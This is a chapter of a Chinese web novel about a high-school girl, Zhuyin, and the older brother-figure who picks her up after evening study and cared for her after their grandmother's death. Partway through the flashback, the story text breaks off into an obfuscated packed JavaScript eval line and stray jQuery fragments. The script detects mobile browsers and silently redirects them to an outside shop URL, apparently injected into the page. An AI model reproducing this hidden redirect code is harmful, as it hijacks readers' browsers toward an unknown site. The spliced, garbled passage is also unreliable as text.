12/
晚自习九点半结束，铃声一打，教室里的声音像雨后春笋，一簇一簇逐节冒了起来。
坐在后排的住宿生将书包往桌子上一掼，边伸懒腰边离开教室，三两结伴准备回宿舍楼洗漱休息，享受时间飞逝的夜晚。
封闭压抑的环境，因为结束的铃声而戳破了一个小口，竹音搁下笔，用橡皮擦掉卷子旁边的验算。
晚上偶尔一两缕带着凉劲儿的风刮进来，竹音刚结束学习，紧绷的神经卸下，被这抹气流激了身鸡皮疙瘩，一抬头，身边都是炸耳的吵闹。
挽妤路过，轻轻拍了她肩膀：“我收拾好东西了，先去上个厕所。”
竹音往空书包里装回家要温习的书，回她：“我等你。”
凉风习习，挽妤妈妈站在人群中间朝她招手，身侧的女孩看到后选择和竹音道别，小跑着往妈妈的方向过去。
脸上的笑容怎么挡也挡不住。
哪怕竹音只用了余光，仍能清楚感觉到。
身侧的人从她旁边跑过，竹音身边又空下来，视线自动目送她往远处跑，她双手捏捏自行车把，像是把心底的什么情绪一并捏出去，手机包裹在掌心和车把之间，她想起什么，打开解锁页面，可是最终没输入密码。
她也无法解释刚刚一瞬间想打开手机的冲动是因为什么。
也或许她知道，只是对自己假装糊涂不肯说清而已，最终归为一道并不明显的鼻息。
出校门口，路灯泛黄，竹音停下推车转过头，看着挽妤和她妈妈拉着手走向另一个方向，她眨眨眼，正想离开时，身后离得很近的地方，沉稳的声音在喊她名字。
该怎么形容这样一瞬的感觉。
世界一下子就静了。
或许童话故事中被吹得烂俗桥段——
披着主角光环的人及时到场拯救受困的人。
剧情太过理想化，多少人吹嘘，多少人吐槽，多少人烂熟，多少人幻想。竹音曾经不为这些虚浮剧情所动，但在此刻也不得不在心里感恩迟嘉言这一刻的出现。
让她的羡慕不用那么狼狈的表现出来。
竹音识别出喊她的人是谁，她循声望过去，瞳孔很小幅度地缩了一下，少女自然目露意外，明显是没想到在这里能碰上迟嘉言。
“你怎么来了？”
羡慕还没表露出来就被她及时拉入黑暗，竹音是伪装情绪的高手，迟嘉言并没看出她有什么。
从这个学期开始上晚自习，竹音开始适应晚到家的节奏，把全部的作业和一部分的温习留到晚上，回家只做一些稍微轻松的学业任务。
上学前她就把自行车打好气，这样也节省路途上的时间。
临溪中学距离家要比她初中就读的学校近，骑自行车是效率最高的办法。
竹音习惯把计划都列好再施行，她算好了一切，却没想到第一天下晚自习，迟嘉言会来接她。
“这学期你要开始上晚自习，我每天来接你，咱俩一起骑车回家。”
迟嘉言视线不着痕迹往她身后，刚才和她一起走出来的女生看了眼，人影消融在巷尾，现在几乎已经看不到了。
往前迈一步，他的自行车横停在他身后，他垂头瞅了眼她正推的车，紧接着问：“车胎怎么样。”
上次车胎被扎漏气，迟嘉言第二天就去店里把车取回来，店主老大爷重新给换了车胎，还给车从上到下都擦了一遍，干干净净的，像刚买来一样。
迟嘉言推回家的时候还展示给竹音看，他半蹲在地上给她展示新换的车胎，衣服上还带着刚回家的风尘仆仆，鼻尖的红伞状晕开。
竹音踩着拖鞋，蹲下和他平视，继而转向这辆向全新的车，嘴角抿起一个很小的弧度。
感觉到他身上淡淡的冷气，竹音扶在膝盖上的手不自觉蜷起，这个时间回来，估计他一大早就过去了。
竹音倏地想起角落里的打气筒。
时间过去很久，她已经熟悉这个家里的每一处，什么东西放在哪都已经了然于心。
很多事也都和以前都不一样了。
她不再在家里披着龟壳，小心前行。
竹音看着眼前的自行车，这样想。
开学第一天，竹音甚至还骑得很小心，刚才去车棚，她借着挽妤打的手电光把车小心挪出来，避免磕碰别人的，也避免划到自己的。
“气很足。”竹音回答他，见他还看着自己，下意识伸手去捏车胎给他看。
“你看——”
手腕被他精准握住，迟嘉言稍微弯下点腰阻止她：“别碰了，都是灰。”
迟嘉言知道她要做什么，怕她手蹭脏，于是动作比想法快，先一步制止。
他知道她明白就松开了手，变戏法似的拿出来一顶红色的鸭舌帽，轻轻压在她头上。
竹音感觉自己被带着往下沉了一下，帽檐遮挡一部分路灯的微芒，世界像一盏电不足的台灯，在眼前暗下来，耳朵传进沙沙声，她耳侧的碎发也被一并压下，在耳廓摩擦出声音。
竹音抬头去摸布面的帽身，但是也没给拿下来，表情有些呆滞：“这是什么。”
“帽子。”迟嘉言朝她笑，没给她想要的答案。
她当然知道是帽子！
“晚上骑车风冷，保护好头。”
竹音双手扶着帽檐调整下位置，把书包放进车筐里，推车到他旁边，看着他头顶那顶同款不同色的黑色帽子，突然笑了：“回家。”
她走在前面，想起什么似的转过头，单手指着头上的帽子，稍微想了下：“是礼物吗？”
想起他们之间存在的很多种“礼物”，有正式的包好装送出手的，也有不经意间随手塞对方的，比如一颗夹在本子里的糖。
竹音甚至觉得，有些他对她隐形起来的照顾，也可以用礼物来形容。
比如糖罐里永远满着的芝麻酥，比如那台装在她房间里的热空调。
比如她抓雪前自动递到眼前的一双手套。
很多，很多。
数不清。
他们之间的关系不因送礼物而让人感觉不还清就难受的程度，相反，在亲情链接的关系里，这些都是感情的粘合剂，加厚着竹音对亲情的定义，花香无声，才最沁人心脾。
“是礼物吗？”
昏黄灯光里，迟嘉言走到她旁边，手掌隔着帽身摸摸她的头：“你猜。”
“我不猜。”
竹音不按套路走接他的话，唇角却弯起，仿佛从他刚刚两个字就已经得到答案。
两个人先后走出巷口。
迟嘉言骑车在她身后，竹音耳边刮起风，但感觉身上也没那么冷。
路过一家理发店，红蓝旋转灯柱灯光交错。
让她想到被困半路等迟嘉言的那天。
露天播放器正在放歌，音量不小。
傻傻两个人笑的多甜
红灯亮起，竹音捏闸，轻微的俯冲感让她下意识腾出手扶帽子，迟嘉言到她身侧，帽檐下的眼睛被溶溶夜色裹挟，又浓又深，静谧地将她包裹。
没有任何束缚感，像一层薄而软的壳。
他看着她，她也看着他。
有些时刻，有些当下。
就是要两个人记得。
–
竹音考上临溪那年，迟奶奶因病离世。
人生的重大节点，她再一次经历和亲人分离。
生命中的阴雨降临得突如其来，竹音在潮湿的土壤里脚向下沉，陷落又陷落。
家中一直支撑的木梁陡然消失，迟嘉言伸开臂膀，站在那个撑起来的位置，像伞骨一样舒展张开，将竹音遮于伞下。
他处理好迟奶奶的后事，让老人家走得安稳顺心。
那段时间里，迟嘉言学校家里来回跑，整个人瘦得肉眼可见，每天早出晚归。不过多久，他就退了走读，拿着退掉的住宿费回家，带着他的一小包行李，将家门口堵了个小口。
竹音发现，他的东西原来那么少。
不管他走出多远，始终被家紧紧牵绊着。
当天晚上，迟嘉言做了两个菜，一个汤，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805258|209306||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
两个人坐在餐桌两端，谁都没先动筷。
房间里哪里都是满当当的，可就是心格外空。
房间里哪里都是静悄悄的，可心底格外吵闹。
房间仍旧整洁，每样物品有它自己的位置，维持着和迟奶奶还在的一切。
看似什么都没变。
偏偏巨变总是发生在看似平静的水面上。
竹音握着筷子，坐在红色板凳上，嘴角抿得紧紧的，低头没说话。
筷头刚粘上米饭，眼泪就噼里啪啦就掉在碗边，然后缓缓顺着瓷边洇湿在桌面，弥合木桌的裂缝，淌成一条窄窄的小溪。
迟嘉言听到轻轻的抽噎声，抬头就见她垂着首掉眼泪。
垂下的额发可以遮挡她湿润的眼角，却盖不住双肩的颤抖。
心脏迟来的痛意撕扯着迟嘉言。
疼得他嘶了一口气，这口气湍急涌入胸腔，在有限不足的空间里上上下下顶，让他说出口的话都开始破碎。
像一架斡旋在不稳定气流里的飞机，随时面临着坠落的风险。
“音音。”
他声音艰涩，喊她名字。
孤独的星球上，每个人都沿着自己的航迹在走，每个人走着走着，从一个人到两个人，再到几个人，最后终究是要和出生时一样——
只剩一个人。
“我没事。”竹音用手背蹭眼角，可眼泪越流越多，顺着手背淌到手腕。
迟嘉言给她递纸，等待她平复情绪。
他把她碗往边上挪，裹着纸巾的手指轻柔擦她眼角。
这样情绪的时刻，迟嘉言把选择情绪吞咽下去，没有同她暴露悲伤。
竹音用纸巾堵住眼睛，胳膊肘撑在桌面，不发一言。
迟嘉言摁下手里的筷子，把碗里冒尖的米饭压平，然后走到竹音旁边蹲下，摸她的头顶。
“音音，人生南北多歧路，奶奶只是以后不和我们一起走了。”
“她相信我们，会过好自己的人生。”
半晌，竹音挪开眼前的纸团，湿睫毛黏在眼皮上，很小声地嗯。
迟嘉言想，她应该听懂他的话了。
她坐在红色塑料板凳上，低着头，泛红的眼眶被他收尽眼底。
迟嘉言将她的发顶抚平，仿佛他想要抚平的，并不只只是这些。
“哥哥在。”
“音音不哭。”
后来竹音时常想起那天的那顿饭，印象里已经不太记得味道，因为流泪会使味觉短暂消失，但是她记得自己把那一小碗冒尖米饭全都吃完。
竹音也记得那天他说过的话，他说他在。
两个字，如千钧重。
他也确实，在迟奶奶去世的这些年，一直走在她的身后。
仿佛竹音不需要回头，依然能感觉那股熟悉的气息一路笼罩自己。
竹音将自己磨成一把短刀，铸后下浸在冰水里浇熄高温，刃面足够冰冷，冷到抛却一切杂念和浪费时间的冗杂情绪。
利刃出鞘的第一次上场，她中考发挥到最佳水平，顺利去到了本市最好的临溪中学，七月入学考试，她和一大波新学生一起走进学校，在优秀毕业生那一栏看见了迟嘉言的照片和名字。
她作为一名新生，作为几百名被录取的学生之一，和他们一起站在光荣榜前，小小地发出了一句感叹。
周围学生叽叽喳喳，指着光荣榜上耀眼的成绩和高校，说三年以后自己的名字也要出现在上面。
竹音也在此停留。
迟嘉言的分数够上国内最好的高校。
她站在最后一排，眼神清浅从其他人上面略过，最后落到录取迟嘉言的那所高校上。
目光在此凝住。
不在星光熠熠的北京，也不在看似遥远的南方。
在她的身后。
在这片广袤无垠的土地上。
在这片他生活了十八年的土壤上。
家这个字将他牵回家中。
他选择留在这里。
可他从未和她说过。